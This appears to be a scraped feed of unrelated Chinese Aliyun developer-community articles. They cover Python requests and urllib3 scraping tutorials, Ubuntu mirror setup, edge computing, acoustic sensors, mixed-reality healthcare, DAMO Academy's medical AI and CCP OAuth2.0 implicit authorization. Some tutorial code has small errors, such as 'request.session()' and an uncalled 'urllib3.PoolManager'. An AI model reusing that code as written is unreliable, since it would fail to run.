          print(response.status_code)
          print(response.url)
          print(response.headers)
          print(response.request)

      执行结果:

      image.png

      我们具体来看一下request:

          print(response.headers, '~~~~~')
          print(response.request.headers)

      上面的headers是response的,下面的是请求的headers
      执行结果:

      image.png

      里面还有别的参数,大家可以去尝试一下。

      image.png

      requests默认使用Session对象, 是为了在多次和服务器端交互中保留会话的信息, 例如cookie。

      直接使用Session:

      image.png
      image.png

      我们也来尝试去打印一下这些信息:

      import requests
      
      urls = ['https://www.baidu.com/s?wd=magedu', 'https://www.baidu.com/s?wd=magedu']
      session = request.session()
      with session:
          for url in urls:
              response = session.get(url, headers = {
              'User-agent': "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.75 Safari/537.36"
              })
          
              with response:
                  print(response.text[:50])
                  print('-'*30)
                  print(response.cookies)
                  print('-'*30)
                  print(response.headers, '~~~~~')
                  print(response.request.headers)

      执行结果:

      image.png
      image.png
      image.png

      通过结果可以看出,Session对象对cookie起了作用。观察第一次返回的cookie与第二次发起请求的response.request.headers的cookie。返回的结果依然是键值对,只是之中value的值依然是用键值对来表示的。

      配套视频课程,点击这里查看

      获取更多资源请订阅Python学习站

      ]]>
      Ubuntu 快速更换阿里源-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 70.jpeg
      镜像下载、域名解析、时间同步请点击 阿里巴巴开源镜像站

      一、查看ubuntu的Codename

      lsb_release -a | grep Codename | awk '{print $2}' # 输出结果为下文中的Codename

      1.png

      二、备份系统源

      cd /etc/apt
      sudo mv sources.list sources.list.bak

      三、写入阿里云的源

      vi sources.list

      下面源信息中$Codename为第一步中系统的Codename,用记事本批量替换即可。

      deb http://mirrors.aliyun.com/ubuntu/ $Codename main multiverse restricted universe
      deb http://mirrors.aliyun.com/ubuntu/ $Codename-backports main multiverse restricted universe
      deb http://mirrors.aliyun.com/ubuntu/ $Codename-proposed main multiverse restricted universe
      deb http://mirrors.aliyun.com/ubuntu/ $Codename-security main multiverse restricted universe
      deb http://mirrors.aliyun.com/ubuntu/ $Codename-updates main multiverse restricted universe
      deb-src http://mirrors.aliyun.com/ubuntu/ $Codename main multiverse restricted universe
      deb-src http://mirrors.aliyun.com/ubuntu/ $Codename-backports main multiverse restricted universe
      deb-src http://mirrors.aliyun.com/ubuntu/ $Codename-proposed main multiverse restricted universe
      deb-src http://mirrors.aliyun.com/ubuntu/ $Codename-security main multiverse restricted universe
      deb-src http://mirrors.aliyun.com/ubuntu/ $Codename-updates main multiverse restricted universe

      四、执行更新

      执行以下命令,完成更新。

      apt-get update

      说明:可以通过http://mirrors.aliyun.com/ubuntu/dists/查看是否支持当前系统的Codename。

      阿里巴巴开源镜像站 提供全面,高效和稳定的系统镜像、应用软件下载、域名解析和时间同步服务。”

      ]]>
      声学传感器能诊断机器的健康状况吗? Fri, 02 May 2025 09:39:04 +0800 09.27.18-Can-Acoustic-Sensors-be-Deterministic-of-Machine-Health-1068x656_副本.jpg

      随着工业4.0的到来,制造商正在使用各种类型的传感器来收集有关资产健康状况的信息。这些指标为预测分析流程提供了信息,例如工作单生成和预测潜在的机器停机时间。

      在将制造商的传感器数据集成到IoT平台中时,必须考虑部署的传感器类型范围。 一些最杰出的传感器可测量温度,电压,振动,电和湿度。本文提出一个问题:声传感器能否有效诊断机器健康?

      predict_副本.png

      我们经常根据是否能听到噪音来诊断机器的问题。人类只能听到20至22000赫兹的声音。然而,超出人类听觉范围的声音也会对机器健康产生有价值的见解。

      光或超声波传感器问题

      由于机器由相互磨削的运动部件组成,从而导致摩擦和噪音,因此可以通过声学方法检测到许多机器故障。由于可见光无法穿过资产组件,因此无法确定任何关键问题,因此此类机器无法使用可见光等其他手段。

      超声波可以检测到轻微的声音,但它价格昂贵,并且需要在机器周围移动接收器和发射器(类似于医院中的超声波机器),因此超声波并不理想。

      另外,工业操作员不喜欢侵入性解决方案。声传感器允许无创设置,并且对工作空间的侵入最小。

      声传感器可以诊断机器健康吗

      结合预测算法,非侵入性声传感器可以在机器故障之前很久就检测到微弱的噪音。 可以进行频率分析来分析我们在没有传感器的情况下可能听到的轻微声像差的发生率。

      实时检测声音的另一种方法是声相机,它拾取声波并以热成像方式(即在热图像中)可视化声波。 然后可以对这些信息进行算法分析,以确定故障的根本原因。 例如,在动力传输系统中,此类摄像机可以确定异常声音的特定点,并将其用于预测组件故障的早期阶段。在运送空气或液体的加压管道系统中,此类摄像机可以检测出维修人员视线之外的确切泄漏点。

      可以通过将多个传感器放置在机器中的目标点并将它们连接到无线边缘设备来收集此声学信息,该无线边缘设备直接将数据传输并将其上传到云服务器,在此可以对其进行分析。结合资产管理系统和预测分析,可以提供对关键资产效率参数的详细了解。

      机械可持续性的声学诊断

      根据一些研究,高达40%的工厂能源成本可能是由漏气引起的。当电动机开始退化时,机器的整体效率会降低。为了弥补效率的降低,电动机会消耗更多的能量。这会导致额外的电力消耗和更高的电费。

      利用超人声波传感器发现机械缺陷,制造商可以在这种破坏性循环开始前修复机器,在延长机器寿命的同时减少停机时间和电费。这可以为运营部门节省大量资金。例如,我们已经看到一些公司减少了10%的电力消耗。结合预测分析的途径,这些好处可以进一步提高。

      考虑到上述所有优点,声学传感器和摄像机可以成为进行预测分析的强大工具。

      原文链接

      ]]>
      为什么我们需要边缘计算? Fri, 02 May 2025 09:39:04 +0800 当时间敏感事件发生时,边缘计算胜过云处理。
      08.16.18-Why-do-we-need-edge-computing-1068x656_副本.jpg

      在过去的15到20年间,已经从本地软件向云计算发生了巨大转变。现在,我们可以从任何地方访问所需的一切,而不受固定位置服务器的限制。但是,云计算运动即将向分散计算的另一方向倾斜。那么为什么我们需要边缘计算呢?

      考虑到云网络带来的巨大机遇,这一概念似乎有悖常理。但为了让我们充分利用物联网(IoT)所提供的一切优势,技术必须再次成为本地技术。

      看一下农业历史可以得出一些相似之处。一个世纪或更早以前,人们食用当地种植的食物。如果它不在您居住的地方的50-100英里内生长或繁殖,那么您可能将没有机会食用它。

      然后,技术出现并打开了新的大门。运输变得更快了,制冷意味着食物可以在不损坏的情况下运输,并且新的耕作技术允许大量生产。随着这些发展,消费者可以从世界各地获得食物。

      我们仍在利用容易获得的全球食品的优势,但是由于多种原因,人们已经转向了本地食物。长途运输食品会影响环境。消费者希望为当地经济做出贡献。我们中的许多人都希望我们食用的食物中的人造成分更少。

      那么这对云计算意味着什么呢? 就像全球获得食物一样,云计算并没有完全消失。但是,定期进行处理的地方将从云端转移到现在所谓的“边缘”。

      什么是边缘计算

      如果我们回想对云的了解,就可以将其与本地计算进行比较。本地计算意味着在公司大型机或服务器上集中存储和管理数据。可以说,云计算可转换为一系列“远程”服务器上的数据存储和处理。

      因此,如果云计算发生在远程服务器上,则边缘计算的发生位置更接近其记录的动作。边缘计算包括收集数据的传感器(例如RFID标签),现场数据中心以及将它们全部连接起来以支持本地计算的网络。数据处理发生在远离云的源头或“边缘”。边缘计算网络在必要时仍可以连接到云,但是它们不需要云也可以正常运行。

      您可能需要一个Nest Thermostat来控制您家里的气候,一个FitBit来衡量您的个人健康状况,甚至可能是Alexa或Google Home作为个人助手。但是对于这些设备,没有任何紧急事件需要解决。您可以等待对Alexa的请求由云处理。

      当时间敏感事件发生时,边缘计算胜过云处理。为了使无人驾驶汽车成为现实,这些汽车需要实时对外部因素做出反应。如果自动驾驶汽车在道路上行驶,并且有行人从汽车前走出来,则汽车必须立即停车。它没有时间将信号发送到云端然后等待响应,它必须能够立即处理信号。

      边缘计算的好处是什么

      显然,速度是使用边缘计算的重要因素,并且有很多解决速度的用例。工厂可以使用边缘计算通过检测人体来大幅度减少工作中受伤的发生率。TSA检查站可以收集通过不同闸门而来的化学物质数据,这些数据可以组合起来制造炸弹。在出现问题之前,城市可以使用边缘计算来解决道路和交叉路口的维护问题。

      另一大好处是流程优化。如果自动驾驶汽车、工厂和TSA检查站使用云而不是edge,它们将把收集到的所有数据推送到云上。但是,如果edge做出本地决策,云可能不会立即需要所有这些数据,甚至根本不需要。

      借助边缘计算,数据中心可以执行对时间敏感的规则(例如“停车”),然后在带宽需求不那么高时将数据分批流式传输到云中。然后,云可以花时间从边缘分析数据,并发送建议的规则更改,例如“当汽车在50英尺内感觉到人类活动时,缓慢减速”。

      除了速度和优化之外,减少停机也是使用边缘计算的主要原因。通过将所有内容推送到云端,您可以使企业不受ISP故障和云服务器停机的影响。今天,许多关键任务操作(如铁路和化工厂)甚至都不会使用云。拥有自己的服务器是保证正常运行的唯一方法。

      边缘计算依赖于单个传感器与本地数据中心之间的连接,从而大大减少了停机的机会。

      边缘计算的下一步是什么

      即使具有提高速度、优化和减少停机等好处,采用边缘计算仍将需要一些关键的工作。毕竟,看看云的采用到底花了多长时间!但是随着时间的流逝,企业将学习边缘计算如何在减少常见风险因素的同时加快运营速度。

      原文链接

      ]]>
      混合现实如何将虚拟医院带给你 Fri, 02 May 2025 09:39:04 +0800 2-1068x656_副本.jpg

      医疗保健领域正在不断革新。尽管如此,医生和其他医疗专业人员在治疗病人时仍面临许多挑战。微软HoloLens技术的进步带来了医院、诊所和其他现代医疗机构如何为病人提供医疗服务的巨大转变。

      医疗保健的主要挑战

      许多医院和医疗诊所仍然依靠传统技术与患者互动,阅读纸质图表了解患者的健康状况。在许多情况下,神经外科医生在对病人进行CT扫描时面临困难。这是因为CT扫描由于噪音和机器的封闭模式而导致一些病人患幽闭恐惧症。此外,医生需要医疗扫描和记录来进行详细分析,但加载和修改成千上万病人的电子病历是一个庞大的过程。

      由专业人员组成的医疗团队由接待员,护士,医生和其他专业人员组成,他们在患者的治疗期间需要彼此之间的无缝协调。此外,依靠多个设备进行通信,调出诊断图和其他数据来使他们成为一个团队来工作也变得很困难。

      混合现实Mixed Reality在医疗行业创造奇迹

      Microsoft HoloLens的新版本已发布了可以在很大程度上影响医疗保健行业的前沿功能。我们来看看这些功能增强医疗专业人员改善医患关系的方式。

      患者数据可视化

      MR耳机(MR headsets)可以检测患者并立即向医生提供相关的医疗信息,从而节省了互动过程中的时间,并使医生对突发事件的响应比以前更快。仅需观察患者的生命体征而无需阅读屏幕或获取文书工作,就可以节省很多宝贵的时间,并使医患之间的交流更加方便。

      此外,使用MR可以使老年患者在家中接受医院级的护理和治疗,使他们感到更舒适,而医院也可以为其他危重患者提供更多病床。

      HoloLens应用程序还可以节省时间和金钱,同时仍为患者提供个性化的护理,从而为因经常与医生约会而需要频繁出行的患者提供帮助。这使医疗机构可以将节省的时间用于其他危重患者。

      通常,混合现实应用程序可以通过全息技术与医疗专业人员进行实时交互。它还允许护理人员免提共享信息,并通过虚拟仪表板实时记录患者数据。这一进步结合了现实生活、视频会议和投影全息图,可帮助护士和临床医生在需要时访问信息和服务。

      全息手术计划

      MR应用程序为医生提供了虚拟手术情报(VSI),向患者展示他们自己的MRI扫描图像,并以视觉格式解释手术过程中的并发症程度。不仅如此,MR应用程序还有助于减少医生的响应时间并提高手术准确性,从而改善患者体验。例如,如果患者需要进行复杂的手术,则医生可以借助混合现实的VSI功能向患者显示诊断图像。 此功能可帮助患者和医生共享相同的视野(FOV)。通过这种方式,医生可以讨论,计划和启动他们的治疗程序,从而减少住院治疗的响应时间。

      现场/远程手术协助

      此外,通过佩戴HoloLens,外科医生可以腾出双手来进行手术,并且可以使用麦克风和传感器与世界各地的其他外科医生进行通讯,从而实现无缝协作。所有这些功能(包括模拟和信息提取)使混合现实成为改善手术性能的宝贵资产。

      小结

      这些只是Microsoft HoloLens的一些显着优势,证明了医疗保健的未来在很大程度上依赖于混合现实技术。这些进步使医疗专业人员可以磨练自己的技能,甚至不动手就可以照顾数百名患者。此外,使用MR应用程序可以实现物理对象与数字对象之间的无缝协作,从而提供更好的治疗质量和患者体验。

      原文链接

      ]]>
      达摩院悬壶,看医疗 AI 如何济世 Fri, 02 May 2025 09:39:04 +0800

      --------点击屏幕右侧或者屏幕底部“+订阅”,关注我,随时分享机器智能最新行业动态及技术干货----------

      5.png

      阿里达摩院,并不专为抗疫而生。

      甚至连马云都可能预料不到,这个机构这么快就展现出及时的作用。

      抗疫正当时,不论是与浙江疾控中心合作的基因检测平台,将疑似病例基因分析时间缩至半小时,还是率先在郑州“小汤山”应用的 CT 影像系统,达摩院、扫地僧,都成为阿里 AI 抗疫的代表性标签。

      而且影响力还在几何级扩散,据阿里统计,截止到 3 月 31 日,达摩院 CT 影像 AI 已在浙江、河南、湖北、上海、广东、江苏、安徽等 16 个省市近 170 家医院落地,已诊断 34 万临床病例。

      随着疫情全球扩散,这个出自阿里达摩院、代表中国 AI 技术前沿的抗疫系统,也在进一步承担起“One world,One Fight”的作用。

      但也别神话了达摩院和背后的扫地僧——外界只看见了他们的动能速度,而不知道他们之前为此积累的势能和高度。

      这把抗疫宝剑,之前已磨砺整整 4 年。

      “扫地僧”带队,达摩院如何 4 年磨一剑?

      6.png

      阿里巴巴集团副总裁、达摩院高级研究员华先胜

      达摩院医疗 AI,源自 2016 年,由时任阿里巴巴 iDST 副院长的华先胜带队打造。

      对于华先胜,外界不陌生。

      他出自黄冈中学,2001 年北大数学系博士毕业,之前在微软工作 14 年,直到被老领导“阿里云之父”王坚挖角,开启阿里在 AI 视觉研发和落地方面的探索。

      但即便已是 2016 年,人工智能如何在医疗领域发挥作用并不太清晰,只是华先胜坚信:人工智能进入医疗健康领域,是一个必然的事情。

      他回忆说:“医疗健康领域存在的不平衡问题比较多(医患供需不平衡,医保供需不平衡,医患知识不平衡等),AI 应该能为全民健康的问题发挥重要作用。”

      7.png

      正是这样的预判,才逐渐演变出了抗疫期间的达摩院医疗 AI。

      当时也是医疗 AI 的爆发点,大量创业者与资本玩家涌入。目前发展势头不错的推想、体素等,都在 2016 年创立。

      一直深耕视觉领域的依图,也在同年发布肺癌影像智能诊断系统,开辟了医疗业务线。

      作为视觉智能领域深耕多年的专家,华先胜团队从肺部 CT 影像开始切入医疗 AI,很快就做出成绩。

      2017 年 7 月,达摩院正式成立前夕,他们交出了一份“贺礼”——在国际权威的肺结节检测大赛 LUNA16 上打破世界纪录,凭借 89.7% 的平均召回率(在样本数据中成功发现结节占比的比例)夺冠。

      8.png

      华先胜说,这项工作“当时只道是寻常”,没想到直接为阿里达摩院新冠肺炎的 CT 自动诊断系统打下了基础。

      那次破纪录之后,达摩院医疗 AI 的研究范围进一步扩大,在肝结节、心血管、骨科、病理等方面均取得了进展。

      其中代表性的成果有:

      2018 年 12 月,达摩院 AI 从近百支队伍中脱颖而出,在全球 LiTS(Liver Tumor Segmentation Challenge,肝脏肿瘤病灶区 CT 图像分割挑战)获得两项第一。

      2019 年的 EMNLP BB task 关系抽取世界大赛,达摩院 AI 获得了第一名。同年,按照鹿特丹(Rotterdam)国际比赛标准,达摩院 AI 的全自动心脏冠脉中心线提取超越了现有的业界最好成绩,相关论文被国际顶级医学影像会议 MICCAI 2019 提前接收。

      技术持续突破下, 达摩院医疗 AI 团队在 Nature 子刊、CVPR 等顶尖学术期刊与会议上,发表了不少的论文,加上国际、国内专利,超过了百篇,也给达摩院医疗 AI 系统在临床诊断和医学研究上大规模应用,提供了支撑。

      如果这样回顾,自然又是一个“大牛带队”、“顺风顺水”的传奇往事。

      但华先胜说,各种辛苦,做过才知。医疗 AI,不是一个单兵作战就能搞定的领域。

      达摩院医疗 AI 一路走过来,这些技术突破、业务落地背后,坑踩得一个都不少。

      医疗 AI,只有技术可不够

      大道理其实也简单:想要打造好的 AI 系统,高质量的数据集是关键。

      然而对于医疗 AI 来说,这从来不是一个简单的事情。

      医疗影像数据质量参差不齐,标准化程度低、人工标注难度大、数据敏感度高等行业性难题,导致 AI 在医学上的学习和应用面临诸多挑战,从而难倒了诸多英雄好汉,甚至还是一些巨头公司的短板。

      比如此前名震江湖的 IBM 沃森医疗系统,宣称超过人类医生的存在,在 2018 年被美国健康医疗媒体 STAT 曝光,其 AI 系统训练数据量最高的肺癌只有 635 例,而最低的卵巢癌只有 106 例,引起哗然一片。

      而且数据难题之外,还有更现实的挑战:医疗机构不买账。

      9.png

      据 2018 年 9 月中国信息通信研究院、Gartner 联合发布的《2018 世界人工智能产业蓝皮书》,在中国,医疗健康领域的 AI 企业在所有 AI 企业中占比达到了 22%,在所有垂直行业中占比最高。

      但在医疗 AI 行业火热的同时,客户并不怎么感兴趣。

      《财经》杂志在 2019 年 3 月份的报道中就指出,资本捧场,使产品同质化严重,送进医院、无人使用的 AI 医疗产品不在少数。AI 逐渐演变为医疗领域的嵌入品,锦上添花的功效有,雪中送炭的本事无。

      作为行业中的一份子,达摩院医疗 AI,绕不开,无法回避,唯有迎难而上解决问题。

      扫地僧如何破局?

      华先胜说,如今回顾,大道至简:“以技术平台为轴心,联合产业伙伴打天下”。

      对于阿里来说,这不是一个陌生的模式,不论是淘宝、支付宝,还是现在的阿里云、平头哥,本质上都是以技术建立平台,拥抱行业玩家,来推动产业发展。

      医疗AI领域,阿里的优势还更甚,它旗下还有一个在香港上市的公司阿里健康,已经在医药电商及新零售、互联网医疗、消费医疗、智慧医疗等领域深耕多年。

      在阿里健康以及众多医疗行业合作伙伴,比如万里云、卫宁健康、古珀科技等的支持下,达摩院医疗 AI 在高质量数据集上不断训练优化,通过阿里云推进技术在医疗行业落地的速度,在行业中都处于前列。

      所以才有了当前抗疫中的达摩院医疗 AI。

      危急关头,如何一步步见真章?

      速度,速度,还是速度。

      华先胜说,疫情大面积爆发之初,达摩院医疗 AI 团队就放弃假期行动起来。

      连点成线,覆盖疫情咨询、药物研发、病毒基因分析、临床诊断等多个环节。

      2020 年 1 月 27 日,达摩院连夜研发的智能疫情机器人。上线后便在全国各地投入使用,很快落地全国 27 个省、直辖市、自治区,免费为 57 座城市拨打 1600 万通防控摸排电话,摸排超过 20 万身体异常人群。

      2 天后,阿里云宣布向全球公共科研机构免费开放一切 AI 算力,以加速本次新型肺炎新药和疫苗研发。

      钟南山团队、全球健康药物研发中心 GHDDI、北京大学、晶泰科技等机构,都成为受益者。

      紧接着 2 月 1 日,达摩院医疗 AI 算法,正式应用于新冠肺炎的病原学检测。

      达摩院与浙江省疾控中心合作,利用算法将疑似病例基因分析时间缩至半小时,该技术可以避免核酸检测出现的漏检情况,同时可以及时检测到变异病毒。

      华先胜解释:“它每天都在工作,准确率近乎 100%,正进一步推广到更多地方使用。”

      而且 ,达摩院也在进一步优化算法,将时间缩短到了 10 分钟,进一步提高效率,并在疫区压力最大的武汉金银潭医院上线。

      2 月 15 日,达摩院医疗 AI 团队与合作伙伴一起,基于 5000 CT 影像样本数据,快速研发出了 CT 影像算法,在郑州小汤山上线,可以在 20 秒内对新冠疑似患者 CT 影像做出判读,并量化病症的轻重程度,分析结果准确率达到 96%。

      10.png

      至今这套 AI 系统已在浙江、河南、湖北、上海、广东、江苏、安徽等 16 个省市的 170 家医院落地,诊断超过 34 万临床病例。

      这还不够,为了全方位抗疫。达摩院医疗 AI 团队还提供了医疗专业翻译系统、疫情预测等系统,来为更大范围、更高层次的抗疫,提供信息支撑。

      同时,疫情全球化蔓延的情况下,达摩院医疗 AI 随着阿里云一同出海。

      很快,日本知名医疗科技机构 JBC 正式上线阿里云新冠肺炎 AI 诊断技术,开始向日本医院提供服务,帮助医生通过 CT 影像快速进行新冠肺炎筛查。

      11.png

      并且更多的欧洲国家也在跟进。在华先胜的透露中,先后有 30 多个国家和地区,希望达摩院通过阿里云提供医疗 AI 支持。

      当然,达摩院并非这次全球科技抗疫中的全部。

      疫情之下,全球医疗 AI 的多数玩家,都参与到了抗疫之中。比如国内的依图、推想等公司都推出了相应产品,以自身之长提供解决方案。

      国外如谷歌,在美国疫情爆发之时,同样投入了 1700 名程序员,联合专攻“医疗科技”的兄弟公司 Verily,打造新冠病毒检测网站。

      “扫地僧”华先胜对此怎么看?

      他很开心,认为这次疫情对于整个行业来说,是一次大练兵。

      “很多竞争对手都成了并肩作战的伙伴。(抗疫)也让我们与合作伙伴的协同变得更加深入。“

      而且更重要的是,经此一疫,医疗 AI 的社会定位、落地推广和作用发挥,也得到意想不到的市场教育和检验。

      扫地僧要做一个怎样的医疗 AI?

      答案很简单:近期帮助人类医生的 AI,远期帮助大众对健康有更强的把控能力的 AI。

      众所周知,抗疫过程中,医生人手缺少的局面一直存在。

      2 月 5 日,国家卫健委公布的诊疗方案第五版中,正式将 CT 影像临床诊断结果作为新冠肺炎病例判断的标准之一。

      虽然这直接加快了新冠肺炎疑似病例的确诊速度与准确度,但对于前线医生来说,却是不小的负担。

      一位新冠肺炎病人的 CT 影像大概在 300 张左右,每诊断一个病例,影像医生需要投入大约为 5-15 分钟时间。一名医生每天连续不间断工作 12 个小时,只能诊断大概 72 个病例。

      2 月 4 日晚,全国一共有疑似病例 23260 例,追踪到(新冠肺炎患者)密切接触者 252154 人……提升临床诊断效率,成为抗疫期间核心需求之一。

      12.png

      而达摩院等医疗 AI 机构,就在这样的险峻形势中出手,联合伙伴打造的新冠病毒 CT 影响诊断系统,从上传数据到得到结果,诊断一个病例平均仅需 20 秒,计算时间最快仅 2 秒。

      虽然仍旧需要医生进一步配合才能够得到更准确诊断结果,但对效率的提升, 无疑是巨大的。这也是医疗 AI 能够在抗疫期间得到推广的原因之一。

      因此,华先胜认为,这也会成为医疗系统的常态:AI 助攻,人类医生提效。

      据新华网 2018 年 12 月份报道,中国医学影像数据的年增长率约为 30%,而放射科医师数量的年增长率约为 4.1%,而且需求缺口不断加大。

      对于医疗 AI 行业来说, 这是其进一步发展的机会。

      “医疗 AI 的价值在抗疫中得到验证,会对医疗行业和公众产生深远的影响。在接下来几年,将会看到整个医疗行业的数字化和智能化程度大幅度提升。”华先胜说。

      达摩院医疗 AI,早已行动起来了。

      阿里达摩院透露,他们打造的医疗 AI 系统,已经落地了 170 家医院,在北京、上海、广州、杭州、武汉、郑州等一线城市之外,也部署到了二三线城市——往往都是医疗资源相对匮乏的地方。

      华先胜解释,二三线城市未来对医疗健康AI的需求应该会更为迫切,用 AI 提升诊断效率和水准在医疗资源缺乏的区域,是当前和未来医疗健康 AI 落地的一个较大的场景。

      13.png

      然而,要将医疗 AI 应用到更多的场景,进入寻常生活,还有很长的路要走。

      不论是获取更多的医疗数据,还是寻找更加切合的商业模式,以及政策法规的支持等,都是医疗 AI 行业需要解决的问题。

      但突发疫情也让其前景变得更明朗。

      正所谓“上医治未病,中医治欲病,下医治已病”。现在,医疗 AI 正在疾病治疗中发挥作用。

      但华先胜认为,接下来医疗 AI 将会从医生走向大众,从高成本走向普惠,从应用于医疗走向应用于健康。

      这是阿里健康体系、达摩院医疗 AI 等将要重点发力的方向。

      阿里范式,阿里打法,要再一次在医疗健康领域复刻——成为基础设施,成为医疗健康行业的数字经济基础设施。

      它们将长在抗疫号角之下,为不再需要抗疫而生。

      在耳熟能详的武侠江湖中,达摩院代表了武学武德的最高成就,扫地僧更是大隐于寺的大神象征,并且总能在危难关头挺身而出。

      从这个角度来说,倒与马云和阿里的达摩院创立初心,都有呼应。

      而且也给新时代的扫地僧、科研人员,工程师们,提供了更大舞台和机会。

      侠之大者,为国为民。

      image.png

      原文链接:https://yqh.aliyun.com/detail/8253

      ]]>
      CCP OAuth2.0 隐藏式授权实践 Fri, 02 May 2025 09:39:04 +0800

      内容协作平台(Content Collaboration Platform, 后面简称CCP)是为开发者提供的面向企业、个人数据管理、内容识别、协作的开放平台。CCP 提供多种OAuth2.0协议接口,方便其他第三方应用接入。

      本文主要讲解纯前端应用(例如SPA, Chrome插件等)接入CCP所使用的OAuth2.0隐藏式授权的场景和实践方案。

      什么是 OAuth2.0? 可以看阮老师的文章: OAuth 2.0 的一个简单解释

      OAuth2.0 隐藏式: 有些纯前端 Web 应用,没有后端,无法采用 OAuth2.0 授权码模式,因为将 client_secret 放在前端是很危险的行为。OAuth2.0 隐藏式(implicit) 即是授权服务直接向前端Web应用发令牌。

      1. CCP 使用介绍

      只需3步配置,即可拥有一个云盘系统。

      (1) 创建域

      用户可以在 阿里云CCP官网控制台,创建一个域(domain),假设domainID为 hz01, CCP会分配1个 API 子域名: https://hz01.api.alicloudccp.com

      image.png

      (2) 配置OAuth登录页面

      配置好域的用户体系配置:具体的配置方法请看这里

      image.png

      CCP会分配1个认证授权服务子域名: https://hz01.auth.alicloudccp.com

      (3) 直接开通官方提供的BasicUI云盘应用

      image.png

      允许访问后,再以超级管理员登入一次激活,即可开通成功。

      image.png

      BasicUI 提供1个子域名: https://hz01.apps.alicloudccp.com。您的用户可以通过此子域名访问云盘系统了。

      更多BasicUI的介绍请看:Basic UI简介

      2. CCP OAuth2.0 隐藏式授权流程

      image.png

      (1) 授权请求

      用户浏览CCP的云盘应用https://hz01.apps.alicloudccp.com,想要用一个第三方应用在线markdown编辑器打开 a.md 这个文件。

      • 这个编辑器是一个纯前端应用,假设域名为 https://a.com
      • 编辑器提供 redirect_uri 为: https://a.com/callback.html
      • 我们可以构造下授权请求url:
      https://hz01.auth.alicloudccp.com/v2/oauth/authorize?
      response_type=token&
      client_id=xxx&
      redirect_uri=CALLBACK_URL&
      scope=FILE.ALL
      • 其中 CALLBACK_URL 为 encodeURIComponent('https://a.com/callback.html')
      • client_id 为markdown编辑器的appId(可以在CCP官网控制台创建应用获得,请先看应用概述)。

      (2) 用户认证和授权

      浏览器请求这个url,会跳转到登录页面,用户登录确认后,会重定向到CALLBACK_URL且通过hash返回access_token等信息,如: https://a.com/callback.html#access_token=xxxxx&expire_in=3600&token_type=Bearer

      image.png

      (3) callback

      编辑器的callback.html页面,解析location的hash。

      • access_token等参数解析出来,保存到本地存储中。
      • callback.html 需要清空历史记录,因为access_token是在url中的,会保留在历史记录里。

      (4) 调用CCP API

      编辑器就可以通过 access_token 来操作 a.md 文件了。

      3. 使用 OAuth Widget

      CCP 官方提供了一些拥有特定功能的 Widget, 供第三方应用接入时使用。详情请看Widget 介绍

      OAuth Widget即是将上面的OAuth2.0 隐藏式授权逻辑封装起来,做成一个可重用的组件。

      下面介绍此widget的用法:

      (1) 引入js

      <button id="btn_1">登录</button>
      <script src="/media/202004071552407Ub.js"></script>

      (2) 点击按钮,即可弹出登录窗口

      window.onload = function () {
        document.getElementById('btn_1').onclick = async function () {
          var tokenInfo = await CCPWidgets.oAuthLogin({
              domain_id: '<Your Domain ID>',
              client_id: '<Your App ID>' 
          })
          //用户登录授权后,即可拿到tokenInfo
          console.log(tokenInfo)
        }
      }

      (3) 弹出登录框效果

      image.png

      参考:JS Widget 授权原理和调用的API

      ]]>
      前端生产方式:过去 10 年回顾和未来 10 年展望 Fri, 02 May 2025 09:39:04 +0800 作者:卓风

      image.png

      在写这篇文章之前,我一直在思考该用什么的方式能讲清楚前端为什么要向智能化方向切换的理由,真的反复思考很久,后来决定还是以我做前端的过去 10 年的所见所闻来做个解答吧,这样让大家也都更有些体感。

      起源

      这段是我跟前端的结缘,想必很多人也跟我一样,懵懵懂懂地就撞入了前端这个行业。

      一脚入坑

      image.png

      我接触前端,那还是 2010 年的时候,在那个时候最火的是 网络三剑客 —— Adobe Dreamweaver、Adobe Flash、Adobe Fireworks。

      这三款软件都很热门,第一款可以通过可视化编辑器拖拖拽拽、填填配配就可以搞定一张网页,虽然上手起来概念众多、也挺难用的,但至少是那个时代做网页最牛逼的软件了;

      第二款是做 Flash 的,配备一门 ActionScript 的语言,当时网上下载了不少大牛做的很极客的 Flash 网站源码,不过代码读起来很吃力;

      第三款是做海报的(因为海报图比较大、比较长,切割起来比较耗费内存,这款软件速度比较快)和 Gif 动画的,但我用的少,大部分时间都用 Photoshop CS4 来搞定。

      虽说这三款软件最火,但真正让我入坑前端(那个时候还没有“前端”这个称呼,有的就是“切图仔”)的理由,是因为我想当一位网页设计师。

      当时,想当一位网页设计师的理由有二:

      1. 软件工程搞 Java、C++、C 真是挺枯燥无聊的,写一段程序,还得编译、部署,等上个两三分钟的,特别无语;而当初接触 Web 页面开发时(当时还是一位外教授课),发现网页这东西很神奇,在一个 Text 文本编辑器里敲上几行代码,改个扩展名,双击页面就展示出来了,这种所见即所得的美的视觉冲击力,当时让我向这个方向上蠢蠢欲动,埋下了祸根]]> Python实现urllib3和requests库使用 | python爬虫实战之五 Fri, 02 May 2025 09:39:04 +0800 python爬虫AJAX数据爬取和HTTPS访问 | python爬虫实战之四

        urllib3库

        https://urllib3.readthedocs.io/en/latest/
        标准库urllib缺少了一些关键的功能, 非标准库的第三方库urllib3提供了, 比如说连接池管理。

        安装

        $ pip install urllib3

        之后,我们来借用之前的json数据来看一下:

        import urllib3
        from urllib.parse import urlencode
        from urllib3.response import HTTPResponse
        
        jurl = 'https://movie.douban.com/j/search_subjects'
        
        d = {
            'type':'movie',
            'tag':'热门',
            'page_limit':10,
            'page_start':10
        }
        
        with urllib3.PoolManager as http:
          #  http.urlopen()
             response = http.request('GET', '{}?{}'.format(jurl, urlencode(d)), headers={
            'User-agent': "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.75 Safari/537.36"
            })
            print(type(response))
            # response:HTTPResponse = HTTPResponse()
            print(response.status)
            print(response.data)

        执行结果:

        image.png

        image.png

        这个封装的属性和方法还是比较原始的,我们对于这样的使用肯定是不行的,那我们需要用什么呢?接着来讲requests库。

        requests库

        requests使用了urllib3, 但是API更加友好, 推荐使用。
        需要先安装,跟之前一样。
        安装:

        $ pip install requests

        我们对上面的例子做出修改:

        import urllib3
        from urllib.parse import urlencode
        from urllib3.response import HTTPResponse
        
        import requests
        
        jurl = 'https://movie.douban.com/j/search_subjects'
        
        d = {
            'type':'movie',
            'tag':'热门',
            'page_limit':10,
            'page_start':10
        }
        
        
        url = '{}?{}'.format(jurl, urlencode(d))
        
        response = requests.request('GET', url, headers = {
